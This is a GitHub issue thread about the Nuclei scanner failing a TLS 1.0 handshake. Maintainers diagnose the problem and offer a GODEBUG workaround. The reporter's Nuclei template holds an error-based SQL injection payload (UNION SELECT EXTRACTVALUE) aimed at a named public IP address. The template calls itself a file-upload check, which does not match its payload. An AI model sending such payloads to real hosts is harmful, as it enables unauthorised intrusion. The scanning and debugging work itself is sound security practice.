Issue with tls handshake with tls10

[Superhero-zero]

Is there an existing issue for this?

• I have searched the existing issues.

Current Behavior

I discovered an issue when using Nuclei with a self-written PoC. When specifying the Burp proxy using the -p option, the vulnerability is successfully detected. However, when not using the -p option to specify a proxy, Nuclei reports that the vulnerability does not exist.

Test objective：https://119.163.194.78:843
POC：

id: yongyouNC-saveImageServlet-File-upload-XVE-2024-7471

info:
  name: 用友NC saveImageServlet 任意文件上传漏洞(XVE-2024-7471)
  author: Superhero
  severity: high
  description: |-
    fofa: app="用友-UFIDA-NC"
    用友NC saveImageServlet接口处存在任意文件上传漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
  reference:
    - https://mp.weixin.qq.com/s/I4RKLZDQqUSrWkVW4fnBHw?token=1497378487&lang=zh_CN
  tags: 

http:
  - raw:
      - |
        GET /admin/config_Anticrack.php?GroupId=1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+MD5(123123)),0x7e)) HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '~4297f44b13955235245b2497399d7a9'
      - type: status
        status: 
          - 200

Expected Behavior

"Expected Behavior: Vulnerability detection should succeed without requiring the -p (proxy) parameter."

Steps To Reproduce

nuclei.exe -u https://119.163.194.78:843/ -t ./test.yaml --debug

Relevant log output

[WRN] [yongyouNC-saveImageServlet-File-upload-XVE-2024-7471] Could not execute request for https://119.163.194.78:843/: [:RUNTIME] got err while executing https://119.163.194.78:843/admin/config_Anticrack.php?GroupId=1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+MD5(123123)),0x7e)) <- GET https://119.163.194.78:843/admin/config_Anticrack.php?GroupId=1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+MD5(123123)),0x7e)) giving up after 2 attempts: Get "https://119.163.194.78:843/admin/config_Anticrack.php?GroupId=1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+MD5(123123)),0x7e))": cause="EOF" chain="could not tls handshake"

Environment

- OS: win10
- Nuclei: V3.3.10
- Go: go version go1.21.0 windows/amd64

Anything else?

No response

[nancunyitong]

try urlencode your payload?

[Superhero-zero]

尝试对你的负载进行 urlencode 吗？

No, it's still the same problem

[ehsandeep]

@Superhero-zero thanks for reporting this! looks like issue related to tls connection: cause="EOF" chain="could not tls handshake" with tls10

@dwisiswant0 FYI tls10 should be supported in nuclei (not sure if it's missed anywhere for http) and other tools as well where it's working as expected:

echo 119.163.194.78:843 | tlsx -j | jq .
echo 119.163.194.78:843 | httpx -tls-grab -j | jq .

[dwisiswant0]

Related PR - #4753
Fixed by projectdiscovery/fastdialer#434

[dwisiswant0]

@Superhero-zero - In the meantime, you can temporarily bypass this issue by running "GODEBUG="tlsrsakex=1" nuclei ..." as a workaround (golang/go#63413 (comment)). This should help mitigate the problem until a proper fix is implemented.

The issue will remain open until the related fix PR is merged and the necessary dependency is bumped here. Once that happens, the issue will be resolved, and no further action will be needed from your end.